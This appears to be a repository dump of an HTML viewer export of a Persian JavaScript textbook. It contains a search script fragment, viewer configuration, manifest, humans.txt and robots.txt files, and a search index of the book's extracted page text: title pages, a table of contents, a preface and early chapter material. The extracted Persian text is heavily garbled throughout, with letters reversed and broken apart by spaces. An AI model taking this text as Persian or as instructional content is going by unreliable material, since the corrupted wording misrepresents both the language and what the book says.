0; var snippetEnd = index + searchTerm.length < textContent[i].length - SNIPPET_LENGTH ? index + searchTerm.length + SNIPPET_LENGTH : textContent[i].length; var result = { page: i + 1, snippet: (i + 1) + " - " + textContent[i].substr(snippetStart, snippetEnd - snippetStart) }; results.push(result); } } while (!limitOnePerPage && index !== -1 && (!resultsLimit || results.length < resultsLimit)); } } return results; }; })(); ================================================ FILE: HTML/browserconfig.xml ================================================ #f7df1e ================================================ FILE: HTML/config.js ================================================ IDRViewer.config = {"pagecount":251,"title":"یادگیری اصولی جاواسکریپت","author":"جعفررضایی","fileName":"BetterUnderstandingOfJavascript.pdf","bounds":[[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017],[714,1017]],"bookmarks":[],"thumbnailType":"jpg","pageType":"html","pageLabels":["1","2","1","2","3","4","5","6","7","8","9","10","11","12","13","14","15","16","17","18","19","20","21","22","23","24","25","26","27","28","29","30","31","32","33","34","35","36","37","38","39","40","41","42","43","44","45","46","47","48","49","50","51","52","53","54","55","56","57","58","59","60","61","62","63","64","65","66","67","68","69","70","71","72","73","74","75","76","77","78","79","80","81","82","83","84","85","86","87","88","89","90","91","92","93","94","95","96","97","98","99","100","101","102","103","104","105","106","107","108","109","110","111","112","113","114","115","116","117","118","119","120","121","122","123","124","125","126","127","128","129","130","131","132","133","134","135","136","137","138","139","140","141","142","143","144","145","146","147","148","149","150","151","152","153","154","155","156","157","158","159","160","161","162","163","164","165","166","167","168","169","170","171","172","173","174","175","176","177","178","179","180","181","182","183","184","185","186","187","188","189","190","191","192","193","194","195","196","197","198","199","200","201","202","203","204","205","206","207","208","209","210","211","212","213","214","215","216","217","218","219","220","221","222","223","224","225","226","227","228","229","230","231","232","233","234","235","236","237","238","239","240","241","242","243","244","245","246","247","248","249"],"isR2L":true}; ================================================ FILE: HTML/humans.txt ================================================ # humanstxt.org/ # The humans responsible & technology colophon # TEAM Jafar Rezaei , Mohammad Toosi , Jafar AkhondAli # THANKS My team for not getting so annoyed that they hit me. # TECHNOLOGY COLOPHON HTML5, CSS3, Web Audio, Pure javascript ================================================ FILE: HTML/index.html ================================================ یادگیری اصولی جاواسکریپت
================================================ FILE: HTML/manifest.json ================================================ { "name": "یادگیری اصولی جاواسکریپت", "short_name": "BetterUnderstandingOfJavascript", "theme_color": "#f7df1e", "background_color": "#f7df1e", "display": "fullscreen", "scope": "/HTML/", "start_url": "/HTML/index.html", "icons": [ { "src": "android-icon-36x36.png", "sizes": "36x36", "type": "image/png", "density": "0.75" }, { "src": "android-icon-48x48.png", "sizes": "48x48", "type": "image/png", "density": "1.0" }, { "src": "android-icon-72x72.png", "sizes": "72x72", "type": "image/png", "density": "1.5" }, { "src": "android-icon-96x96.png", "sizes": "96x96", "type": "image/png", "density": "2.0" }, { "src": "android-icon-144x144.png", "sizes": "144x144", "type": "image/png", "density": "3.0" }, { "src": "android-icon-192x192.png", "sizes": "192x192", "type": "image/png", "density": "4.0" }, { "src": "android-icon-384x384.png", "sizes": "384x384", "type": "image/png", "density": "4.0" }, { "src": "android-icon-512x512.png", "sizes": "512x512", "type": "image/png", "density": "4.0" } ] } ================================================ FILE: HTML/robots.txt ================================================ # www.robotstxt.org/ # Allow crawling of all content User-agent: * Disallow: ================================================ FILE: HTML/search.json ================================================ ["","","","","ی ی اضر ر فعج : ف لوم ","miaadpub.ir :باتک ن ا و ن ع ت پیرکس ا او اج یلوص ا ی ریگدای -هیا پ فلوم : یئاض ر ر فع ج هشیدن ا داعیم : رشان لوا :پ اچ تب ون -1398 :ناگ ر ا مش 1000 هخ سن :تمی ق 000 / 380 ل ای ر :کب اش 5 – 045 – 231 – 622 -978 ه مه یا ر ب رث ا ن ی ا ی و نع م و ی دام ق و ق ح ی فلوم .ت س ا ظو فح م یکینو رتکل ا ط ب ض ،یپکوت ف ،یس یونزا ب ه لم ج ز ا ،تر وص ر ه ه ب رث ا ن ی ا ر اشتن ا و ری ثکت ز ا یلب ق و یب تک زو ج م تف ای ر د ن ودب ،ش خ پ و یب ایزا ب ی ا ه م ت سی س ر د ه ری خ ذ و فلوم .ت س ا ع و نم م ی لکش ر ه ه ب ت یا م ح تحت رث ا ن ی ا « ن ا ری ا ن ادن مر نه و نا فنص م ،نا ف لوم ق و ق ح ز ا ت یا م ح نوناق » د را د را رق ","روگ ات هراو ه گ زا تسا یقفا یتک ر ح ندوب ه دن ز تسا نا م سآ ات نیمز زا تسا یدو مع یتک ر ح ند ر ک یگ دن ز و ،تس ر پ ر س یب ه عماج ه ب دوشیم مید قت ر ضاح ب اتک ، مارت حا اب ه ب ب اتک د مآرد زا یاه دمع ش خب .ناگ د ش ش وما رف م ا م ت و ری قف دو به ب رد ی مه س ه ک د شاب ، د ش دها و خ ادها یت ی ا م ح ت ا س سوم .می شاب هت شاد مه یگ دن ز ","","لوا شخب [ هیاپ ثحابم و ت پ یرکس ا واج ا ب ی یانشآ 20 ..................................................................................... ؟ت سی چ Javascript 20 .......................................................................................... ؟ت پیرک سا و اج ا ر چ 21 ................................................................................................... )ه ما نر ب ( د ک 21 .................................................................................. ) Statements ( تا روتسد 22 ................................................................................... )Expressions ( تا را بع 22 ................................................................................................. ه ما نر ب یا ر جا 23 ............................................................................................... ه ما نر ب یج ورخ 24 ................................................................................................. ه ما نر ب ید و ر و 24 ............................................................................... )Editors ( د ک یا هرگشیاریو 25 ..................................................................................... ) Operators ( ا هرگلمع 26 ...................................................................................... )Comment ( تن ماک 26 ........................................................................................ یراذگت ن ماک دعا و ق 27 .................................................................................... یط خ ک ت یراذگت ن ماک 27 .................................................................................... یط خ دن چ یراذگت ن ماک 28 .......................................................................... ) Blocks ( د ک ت اعط ق ا ی ا هک و ل ب 28 ........................................................ بو ت ا ح فص رد ت پیرک سا و اج یا هد ک ی ری گرا رق مود شخب [ ه د ا د ع اونا و ریداقم 32 .................................................................................................... هداد عا و نا 32 ..................................................................................... )Variables ( ا هری غتم 34 ................................................................................ رگیدکی ه ب هداد عا و نا لیدب ت 37 ............................................................................................ ) Objects ( ءایشا ","37 ........................................................................................... object تخ اس یا هشو ر 38 ....................................................................................... object رد ا ه یگژ یو تیرید م 38 ....................................................................................... ا ه یگژ یو ه ب یس رت سد 39 ...................................................................................... ا ه یگژ یو ری داقم ریی غت 39 ........................................................................................... دید ج یگژ یو دا جیا 40 .................................................................................... object زا یگژ یو ف ذح 40 ............................................................................. object یا ه یگژ یو یدن ب رکی پ 41 ........................................................................................... )Arrays ( ا ههیا رآ 43 ........................................................................................ ) Functions ( ع باوت 44 ..................................................................................................... ا ه لارتی ل 45 .................................................................... هداد عا و نا یار ب ه د ش فیر عت یا هدت م 46 .............................................................................................. ری داقم هسی اقم 46 .......................................................................................... )Equality ( یر با ر ب 49 ..................................................................................... )Inequality ( یر با ر با ن م و س شخب [ اه هقلح و اه ه دو دح م ،یطرش تار ابع 52 ......................................................................... )Conditionals ( ی طر ش تا را بع 53 ....................................................................................... یط خ ن و رد یا هطر ش 54 .......................................................................................... )Scope ( هد ودح م 55 ......................................................................................... وتردوت یا ه هد ودح م 58 ........................................................................................... ) Loops ( ا هه ق ل ح 58 ................................................................................. do-while و while ه ق ل ح 59 ..................................................................................................... for ه ق ل ح ","مر ا هچ شخب [ اهنآ ینورد راتخاس و عباوت 64 ......................................................................................... ) Functions ( ع باوت 66 .......................................................................... )Anonymous ( س ا ن شا ن ع باوت 66 ........................................................................... رگی د یعبات ه ب ع بات نداد س اپ 69 ........................................................................................... ع باوت prototype 73 ............................................................... یداع و prototype یو ر یا هدت م تو افت 74 ......................................................................................... ه دن زاس ع باوت ه ریجن ز 75 ...................................................................................... prototype تلاکش م 77 ..................................................................................... call زا هدافتسا اب ع باوت یا ر جا م جنپ شخب [ object و هی ار آ هتفر شی پ ثحابم 82 ............................................................................................ ا ه هیا رآ یا هدت م 90 ................................................................................. )array-like ( ا ههیا رآ هب ش 91 .................................................................................................. هیا رآ ت خ اس 92 .................................................................................... Array اب هیا رآ ت خ اس تلاکش م 95 ................................................................................... ا ه object ید ر براک ع باوت 99 ............................................................................................ object یر ب ثرا 99 ....................................................... ) method chaining( ا هدت م ی ریجن ز ی نا و خارف 104 .............................................................................. reduce زا هتفرشی پ هدافتسا 106 ....................................................... ) Higher order functions( ر ت لا اب هب ت ر م ع باوت ","مشش شخب [ strict ت ل اح و hoisting 110 .................................................................................... )Hoisting( نت شا رفار ب 112 ...................................................................................................... hoisting تی ول وا 115 ............................................................................. )هناری گ تخس ( strict تلاح 116 ............................................................................... strict طیار ش ل ا معا ح طس 117 ............................................................................. strict تلاح ل و مش م نی نا و ق 118 .......................................................................... ه دشن فیر عت ری غتم زا هدافتسا 118 .................................................................................. ع بات ا ی ری غتم ند ر ک ف ذح 118 ......................................................................... م ا ن مه ی د و ر و رت ماراپ زا هدافتسا 119 ............................................................ ی ندنا و خ ط قف property کی رد هداد نتشو ن 120 .................................................................................... ل اتک ُ ا ی ا هری غتم فیر عت 120 ........................................................... تفا ی رد لبا ق ط قف property کی رد نتشو ن 121 .......................................................................... یدیل ک ت ا مل ک ی خر ب زا هدافتسا 121 ..................................................................... ری غتم فیر عت یا ر ب eval زا هدافتسا م تفه شخب [ اه ل وژام و اه closure، IIFE 124 .......................................................... )IIFEs ( ه د ش هدز ا د ص هل صاف لا ب ع باوت تا را بع 125 ........................................................................................ IIFE تا را بع رات خ اس 128 ................................................................. IIFE یار ب ص ا خ ی ا هرت کاراک زا هدافتسا 129 ............................................................................... IIFE تا را بع ع باوت یراذگ م ا ن 130 ........................................................................... IIFE اب س روس یزاس مج ح م ک 131 ...................................................................................... ر گر ور م ریغ ی ا هطیح م 133 ................................................................................................. ا ه Closure ","136 ...................................................................................... )modules ( ا هلوژ ام 138 ......................................................................................... private ع باوت ک رد 139 .................................................................................... لوژ ام publicAPI ک رد 140 ..................................................................... publicAPI یار ب return یا هکب س 142 ............................................................................... لوژ ام ری ز یاراد یا هلوژ ام 144 ............................................................................ ه دن زاس یا هلوژ ام تم رف عا و نا 144 ................................................... )Asynchronous Module Definition )AMD 145 .............................................................................................. CommonJS 145 ...................................................................... Universal Module Definition 146 ...................................................................................... ES6 رد لوژ ام تم رف 148 ................................................................................. لوژ ام یا ه ه دنن ک ت یرید م 148 ................................................... ده دیم م ا جنا لوژ ام ه دنن ک ت یرید م کی ه ک یروما 148 ................................................................. لوژ ام یا ه ه دنن ک ت یرید م ن یر ت فور عم 149 ............................................................................................. لوژ ام bundler م تشه شخب [ ه د ا د تیری د م و ی زاس ه ر ی خذ 152 ...................................................................................... یکوک رد را د قم ه ریخذ 152 .................................................................................. ا ه یکوک ری داقم ت یرید م 153 .................................................................................................. یکوک ف ذح 153 ............................................................................................. ا ه یکوک تی ن ما 154 ................................................................. ) Web storage API( بو ه ظفاح ط بار 154 ................................................ یکوک و localStorage ، sessionStorage تو افت 155 ........................................................................... ) localStorage ( ی لح م ه ظفاح 156 .................................................................... ) sessionStorage( ی لح م ت سشن 156 ......................................................................................................... Blob ","157 ...................................................................................... س ردآ ه ب blob لیدب ت 157 .......................................................................................................... blob یا هدت م م هن شخب [ Transpile و Polyfill ، ت پ یرکسا مکا ی اهه خسن 159 ................................................................................... تپیرک سا م کا یا هه خ سن 160 ................................................................................................. ؟ت سی چ ES 161 ................................................................................ ا م کا را ه چ ات کی ی ا هه خ سن 161 .................................................................................................. ES5 ه خ سن 161 ..................................................................................... ES2015 ا ی ES6 ه خ سن 161 ................................................. ) ES2018 , ES2017 , ES2016( 9 , 8 , 7 ی ا هه خ سن 162 ............................................................................................ ES.Next ه خ سن 162 ............................................................................................. ES6 ی ا ه یگژ یو 162 ........................................................................................ Classes ا هسلا ک 164 ....................................................................................... Arrow Functions 166 .................................................................... ) template literals( ا ه هت شر ب لا ق 167 ...................................................................... Object و هیا رآ یا ر ب Destructing 167 .............................................................................................. spread رگلمع 168 ................................................................................. Set و Map ی ا ههع و مج م 169 ............................................................................................. Polyfill م و ه فم 170 ......................................................................................... polyfill رته ب شو ر 171 ..................................................................... Ponyfill یار ب IIFE و Closure زا هدافتسا 174 ..................................................................................................... Transpile موهف م 175 ........................................................................................ transpile یا ه را ز با 176 .......................................................................................... Babel زا هدافتسا 178 ..................................................................................................... babel یا هلوژ ام 178 ................................................................................................. core لوژ ام 179 ................................................................................................... CLI لوژ ام ","180 ................................................................................................. Plugins & Presets 181 ...................................................................................... babel ت ا می ظ ن ت ل ی اف 182 ........................................................................................ babel و ا هPolyfill مه د شخب [ اه Generator و Iterator 188 ................................................................................................. ا ه Iterator 188 ........................................................................................ iteratable لک ت ور پ 189 ............................................................................................ iterator لک ت ور پ 189 ............................................................................................ Iterator یف ر عم 192 ............................................................................................ object iterator تخ اس 193 .............................................................................................. Symbol دا من 194 ............................................................................................... computed property 197 ...................................................................... تپیرک سا و اج یمو مع ی ا ه Iterable 197 ................................................................................................. ا ه Iterable 198 ..................................................................................... ندوب iterable یسر ر ب 199 .......................................................................... ا ه iterable زا ناگ دنن ک هدافتسا 200 ............................................................................................. ا ه Generator 204 ...................................................................... generator رد return و yield زا هدافتسا 205 .................................................................................... next دت م ه ب رت ماراپ نداد س اپ 208 ................................................................. generator رد generator زا هدافتسا 210 .................................................................................. ه ظفاح فرص م رد ی گنیه ب 210 ................................................................................. generator ع باوت بی ک ر ت 212 ............................................................................... ا ه generator د ر براک دراوم ","مه دز ا ی شخب [ ت پ یرکس ا واج بل اج ی اها ط خ 216 ..................................................................................... !] [ اب ] [ ندوب ی و ا س م 217 ............................................................................................. ) زوم ( baNaNa 217 ............................................................................................ !تسا د دع NaN 217 ................................................................................ ! NaN اب ت سین ر با ر ب NaN 218 ............................................................................... !دنتسه object هیا رآ و null 219 ......................................................................... ] [ نام زمه ندو بن و ندوب حیح ص 219 .................................................................... !تسین ها بت شا یل و ت سا ها بت شا null 220 ...................................................................... !ر فص زا رت گر ز ب ید دع را د قم ل قاد ح 220 ......................................................................................... ا ه هیا رآ نت س ب عم ج 221 ............................................................................ هیا رآ رد مهر س ت ش پ یا ه اماک 221 ................................................... !تسا ن عم م ا م ت ه ب ی لا وی ه کی ،هیا رآ ی ر با ر ب یسر ر ب 222 ............................................................................................. Number اب undefined 223 .............................................................................. false و true اب یضا ی ر یزاب 224 ....................................................................................... دا دعا بیجع شیازفا 224 ........................................................................... 0.2 و 0.1 عم ج لصاح یتسرد 225 ............................................................................... د دع ه س یا ر ب هسی اقم م ا جنا 225 ............................................................................................. یضا ی ر یا هی زاب 227 ............................................................................... call مهر س ت ش پ ی نا و خارف 227 ....................................................................................... constructor یگژ یو 228 ............................................................ تسا object کی object زا یگژ یو کی دیل ک 229 ........................................................................................... prototypes ه ب یس رت سد 229 ..................................................................................... بیجع Object تخ اس 230 ....................................................................................... )labels ( ا هبس چ ر ب 230 ................................................................................... label زا وتردوت هدافتسا 231 ....................................................................................... !بیجع try..catch ","231 ................................................................................ !ب لاج arrow functions 232 ......................................................................... arrow functions و ا ه ناموگرآ 232 ..................................................................................... return ها بت شا هدافتسا 233 .............................................................. Math.min زا تسا رتک چوک Math.max 233 ...................................................................................... ا هری غتم د دج م یف ر عم 234 ............................................................................. هیا رآ sort ع بات ضر ف شی پ راتفر مه دزاود شخب [ ی در بر ا ک م ئا م ض و ل و اد ج 238 .................................................................................................... هداد عا و نا 238 ................................................................................................. یمو مع ع باوت 239 ....................................................... )Object ( ءایشا و )Number( دا دعا ی ا ه یگژ یو 240 ........................................................................... ) Number یو ر ر ب ( دا دعا ع باوت 240 .......................................................................... RegExp م ظ ن م تا را بع ی ا منها ر 240 .................................................................................... ) Modifiers( ا ه ه دناری پ 241 ....................................................................... ) Metacharacters( ا هرت کاراکاتم 243 ............................................................................. ) Quantifiers( ا هجن ستی م ک 243 ..................................................................... ) RegExp( م ظ ن م تا را بع ی ا ه یگژ یو 244 ........................................................................ ) RegExp( م ظ ن م تا را بع ی ا هدت م 244 ................................................................ تپیرک سا و اج رد ه د ش و رزر ی دیل ک ت ا مل ک ","فلوم ر ا تفگش ی پ تذل رایسب ،د ی وش ر یگر د نابز ی در کراک ت یهام اب هک یتروص ر د ت پ یرکساو اج نابز ی ر یگ د ا ی باتک ن یا ر د و دشابیم نابز ن یا ه ب صت خم هک تس یت ا کن ر طاخب ه ل ئسم ن یا ،د وب ده ا و خ ش خب و یس ی و نه ما نر ب اب دیه ا و خی م هک تسا راب نیلو ا ر گ ا ،د وشیم هت خادرپ لئ اسم ن یا ز ا ی رایسب هب د وب ده ا و خ ی ب ا ذج و بو خ ب اخت نا نات یار ب ت پ یرکساو اج لا ا مت ح ا ، د ی وش ا ن شآ نآ هب ط وب ر م یای ند ص ا خ ی اهیگژ یو ز ا یخر ب و ت پ یرکساو اج اب ،د یدر کیم یس ی و نه ما نر ب ی رگید ی اهنابز اب لاب ق ر گ ا و .دش دیه ا و خ هد ز ت ف گ ش نآ یعوضوم ، د وب ده ا و خ ر یگر د تد ش ب ت پ یرکساو اج اب ،یس ی و نه ما نر ب ه د نی آ یوق ل ا مت ح ا ه ب ه کنیا و د نا هدر ک ه راش ا نآ هب رو ش ک ز ا ج را خ ر د ه چ و رو ش ک لخاد ر د ه چ دارفا ز ا ی رایسب هک تسا ،د ن شاب هتش اد ه د نی آ ن یا ر د یمهس ه ک تسا هد وب ن یا ر ب ناش ی عس م ا مت ز ی ن رو هش م یاه ت ک ر ش یس ی و نه ما نر ب ی ار ب … و و یو ،تکی ر ،ر لا وی گنا :د نن ام ید نمت ردق یاهه ن اخباتک و اه ک رو میرف رو ه ظ تفرش ی پ رگید یتمس ز ا و تمس کی ز ا node.js اب رو رس تمس ی س ی و نه ما نر ب نا ک م ا ، front-end .دشابیم ار جام ن یا تی دج ه د ن ه د نا شن ،م ک نامز تدم ر د اهنآ عیرس هک در ک اع دا ن ا وتیم ر ضاح ل اح ر د ت پ یرکساو اج ر ب ی نتب م یاهی ژ ولو نکت نتف ا ی هعس وت اب یی اه ه زوح ،دشابیم یعدم یس ی و نه ما نر ب و تاع لا ط ا ی روا نف ی اه ه زوح ر ثک ا ر د ا بیرقت ت پ یرکساو اج … و بو تحت ی اههما نر ب ،یزا ج م ت ی ع ق او ،لی ابوم یاههما نر ب ،نیچ کلا ب ،یعو نص م ش وه :د نن ام یار ب یبو خ ی اهه ن اخباتک و هتش اد ر ی ث ات اهنآ ر د ت پ یرکساو اج ن یر یش نابز هک د نت سه ی ی اه ل اثم .تسا ه دش یزا س هد ای پ و ی ح ار ط اه ه زوح ن یا ر د ه ما نر ب ه عس وت 'Easy to learn, Hard to master' یاهفر ح یگدی چ ی پ و یر یگ د ا ی ی گ د ا س ،ه ک ار چ دشابیم ت پ یرکساو اج نابز ز ا ل ماک یفصو ه لم ج ن یا ه د ن ه د هعس وت ی دا د عت ز ا ر گ ا ه ک ی اهن وگ هب ، تسا نابز ن یا ص ا خ ی اهیگژ یو ز ا یکی ، نآ ر د ن د وب یل ی خ ا ر د و خ شناد دصر د 80 ز ا ش یب لا ا مت ح ا ،د وش لا و س ناشیتپ یرکساو اج شناد د روم ر د بو .ت س ناد د ن ه ا و خ لا اب شلات ن از یم هب ی گت سب ، د وب ده ا و خ رد ق چ ر ضاح باتک ند نا و خ اب درف کی تفرش ی پ ن از یم ه کنیا نی قی عط ق هب د نا وتی من ی باتک چ یه و د ر اد رظن د روم ع وضوم ی ر ی گ ی پ و هع لا ط م ر د درف تس را م م و یدص ه طقن چ یه تق ی ق ح ر د ،ه دش ر ک ذ ب لا ط م ن د وب ل ماک ر ب هولا ع نوچ ،د ی ا من دص ات ر فص یاع دا فلت خم لئ اسم ق ی م ع ک ر د ات د نا وتیم درف و دشاب ع وضوم کی ندی س ر م ا متا ه ب هک د ر ا د ن د وجو ن ا و ن ع هب نم هفیظو سپ ، د ن ک تفرش ی پ تس را م م و ن یرمت اب و د ن ک ب سک شناد ،ه طوب ر م ه زوح یتفرش ی پ ه د ننا و خ ات ،دشابیم ن او ر و ا ویش ی لک ش هب ، ب لا ط م ل ماک ه ئا ر ا ر ب ی عس ب اتک ه د ن س ی و ن .دشاب هتش اد رتعیرس ","نابز و یس ی و نه ما نر ب ه ی ا پ م یهافم ز ا ، دش دیه ا و خ ا ن شآ یف لت خم لئ اسم اب باتک ل و صف ل وط ر د ا م ک ا د ر ا د ن ات سا س ا سا ر ب هک نابز ن یا د ی دج یاههخس ن و ت پ یرکساو اج ق ی م ع ث حا ب م ات هت فر گ ناگد ن ه د هعس وت ، د وب ی ن ا ف وط و ی ند وت س رایسب 6 ه ب 5 ه خس ن ز ا ا م ک ا شه ج ،د ن وشیم یر ا ذگ ه ی ا پ هخس ن نیا ر د ه دش ه ف اض ا ی دی ل ک یاهیگژ یو و ت ش اد د ن ه ا و خ ر طاخب ا ر ES6 ه ر ا و م ه ت پ یرکساو اج نیا ر ب ام ی عس م ا مت ب اتک ن یا ر د ، د ن ه دی م ر ار ق هد افت سا د روم ا ر د ن شابیم ی در براک م ه رایسب هک ناس ی و نه ما نر ب ح و طس م ا مت یار ب هت فرش ی پ ات ی یا دتب ا ث حا ب م ز ا هد ا س و ل ماک ی عبن م ات ، تسا هد وب یس ی و نه ما نر ب هب عور ش ه زات ده ا و خی م و ت سه رت رات سا ن ا و ن ع هب هک ی درف ه ک ی اهن وگ هب ، م یه د هئا ر ا ت پ یرکساو اج ز ا هد افت سا اب یس ی و نه ما نر ب ر د ی لو ب ق ل باق حطس ه ب باتک ز ا هد افت سا اب د نا وتب د ن ک هع لا ط م اب د نا وتب زی ن د ر اد ت پ یرکساو اج د روم ر د یاه یلو ا شناد ه ک ی درف ن ی نچم ه و د ن ک ا دی پ تسد .د ن ک ه ف اض ا د و خ شناد حطس ه ب ه زات یتا کن ،ب اتک هق یق د د ن چ ا ر باتک ند نا و خ ، د ی دش ی م گر درس ا ی یگت س خ راچ د ب اتک ز ا یش خب ند نا و خ ر د ر گ ا اب ر گ ا . دی ی ا من هع لا ط م هب عور ش اد د ج م ی رتش یب ی ژرنا اب و هدر ک ت ح ارتسا یم ک ،دی ن ک ف قوتم نایم ر د ا ر د و خ لکش م ه د ن ب ل ی میا س ر د آ اب ا مت ح د شن عف ر رظن د روم ی م گر درس د د ج م ه ع لا ط م .ده دی م نم هب یفعا ض م ی ژرنا ب اتک ناگد ننا و خ اب رتش یب ط ا بت ر ا ، د ی ر ا ذ گ ب ،د س ریم رظن ه ب هد ا س نات یار ب باتک ز ا یش خب ر گ ا ، دی ن ک ه ع لا ط م ل ماک ا ر باتک دی ن ک ی عس ا مت ح ر د رتیاهفر ح و رتبا ذج ب لا ط م و دشابیم لک ش نآ هب فار گ ا را پ نا م ه طقف ه ک م یه دی م ل ا مت ح ا .د ن شابیم ا م ش طس وت ندش ه ع لا ط م رظتن م ید ع ب یاه فار گ ا را پ نودب ا عط ق ، منک یم رکشت ، د نا هد و من ی را ی ب اتک ن یا ف یلات ر د ا ر نم هک یز یز ع نات سود ز ا نا ی ا پ ر د و ش خب یرا ی ن ازیز ع ن یا غ ی ر د ی ب تا م حز هک ار چ ،دشی من هد امآ ی لعف ب اتک نا ن آ تی ا م ح و یرا ی کم ک ت باب یم ی حر ی ده م نا ی اقآ ز ا یاه ژ یو رکشت ،تسا هد وب ام ی ار ب ر یسم ن یا ه م ادا ه د ن ه د دیم ا ری ا س هولاع ب ، م ر اد ب اتک ک ی فار گ م ا جنا یار ب ی دجاس دوع سم و باتک ش را گن ر د نا شیا د ا ی ز رایسب :ددر گیم ر ک ذ ش خب ن یا ر د اهنآ یما سا ن ازیز ع ن یا ز ا رکشت و مارت ح ا د ص ق هب هک نات سود ین یسح د م ح ا دی س رو پ ی ر لا نژیب ها و خداد دادره م یئ اضر ر ف ع ج رکشت اب jafar.rezaei.ard@gmail.com ","","لوا شخب هی پا ثحابم و تپیرکس ا واج با ی یانشآ ∞ :شخب فادها همانرب و دک موه فم تپیرکس ا واج نابز اب ییانشآ تار ا ب ع و تاروت سد فیرع ت نآ یجورخ و ید و ر و و همانرب یا رج ا هو حن ا ه رگل م ع اب ییانشآ دک ی ا ه رگ ش ی ا ریو اب ییانشآ دک رد یرا ذ گ تنماک هو حن اب ییانشآ دک ی ا هکو لب و ت اعطق اب ییانشآ ","20 یا ه یا پ ثح ا بم و ییا نشآ [ ؟ت سی چ Javascript ز ا یکی CSS و HTML د نن ا م ه هک تسا ک یما نیاد ی س ی و نه ما نر ب نابز کی Javascript هب م ه و هت ف ا ی تخ ا س تروص هب م ه ،نابز ن یا .دو ریم را م ش هب بو یاهیروا نف ر صا ن ع ن یرت مه م با ق ل ا و نیو ا ن ع ن یا اب باتک ن یا ر د ه ک در یگیم ر ار ق ناس ی و نه ما نر ب هد افت سا د روم ار گ ئ ش تروص د روم ی ا هی ا پ یژ ولو نکت ن ا و ن ع هب ت پ یرکساو اج ،بو یای ند ی اهزور ن ی زا غ آ ز ا .می وشیم ا ن شآ رتش یب هک ی ی اهزور هب ، ددر گیم زاب لب ق هه د 2 دو دح هب نآ عور ش هک د ن چ ر ه . تسا هتفر گ ر ار ق هجوت فلت خم یاهه بن ج ز ا نآ عیرس رایسب دشر نو ن ک ا ام ا ت ش اد ه د ن ه د ر ا زآ یاه پ آ پ ا پ دح ر د یدر براک نیرت گرزب و ن یرتب و بح م ( بو ری ذ پ ا ن ییا دج ش خب ن ا و ن ع هب ی ن و ن ک نامز ر د ات تسا ه دش ث عاب .د وش لی د بت )ی ر ازفامرن مر فت لپ هک یلاح ر د د ن کیم ا ق ل ا ا ر او اج نابز هب نآ ن د وب هی ب ش هک تسا یت روص هب ت پ یرکساو اج یر ا ذگ م ا ن و را ک شآ یاهتوافت ی ا ر اد اهه بن ج ز ا ی رایسب ر د و تسا توافتم لا ماک نابز و د نیا ی ح ار ط هفس لف .د ن کیم د ر لا ماک ا ر رگی د کی ه ب نابز و د نیا ط ا بت ر ا ه یض رف ه ک د نت سه ی مه م ؟ت پیرک سا و اج ا ر چ تدش هب ر ی خا ی اه ل ا س ر د هعس وت ن یا ،تسا هعس وت و تفرش ی پ ل اح ر د ه زور ه م ه بو شناد :ده دی م نا شن ا ر 1 بو یژ ولو نکت بلاقنا ری ز ری و صت ،تسا هتفر گ ت ع رس ه دمآ تسد ه ب د ر اد ه ک یتا ن ا ک م ا و اهه ن اخباتک و ت پ یرکساو اج طس وت ب لاقنا نیا ز ا یاه د م ع ش خب .تسا هلم ج ز ا ه ک تسا هتفر گ ه د یا م یهافم و ) syntax ( و حن ر د ی رایسب یاهنابز ز ا ت پ یرکساو اج نابز 1 http://www.evolutionoftheweb.com/ ","21 لوا شخ ب ع وضوم نی م ه . در ک ه راش ا … و Schema، Lisp نابز ، C ه دش هت خ ا ن ش و بو بح م نابز هب ن ا وتیم ت پ یرکساو اج نابز اب یس ی و ن دک عور ش و ی ر یگ د ا ی ناس ی و نه ما نر ب ز ا ی رایسب ی 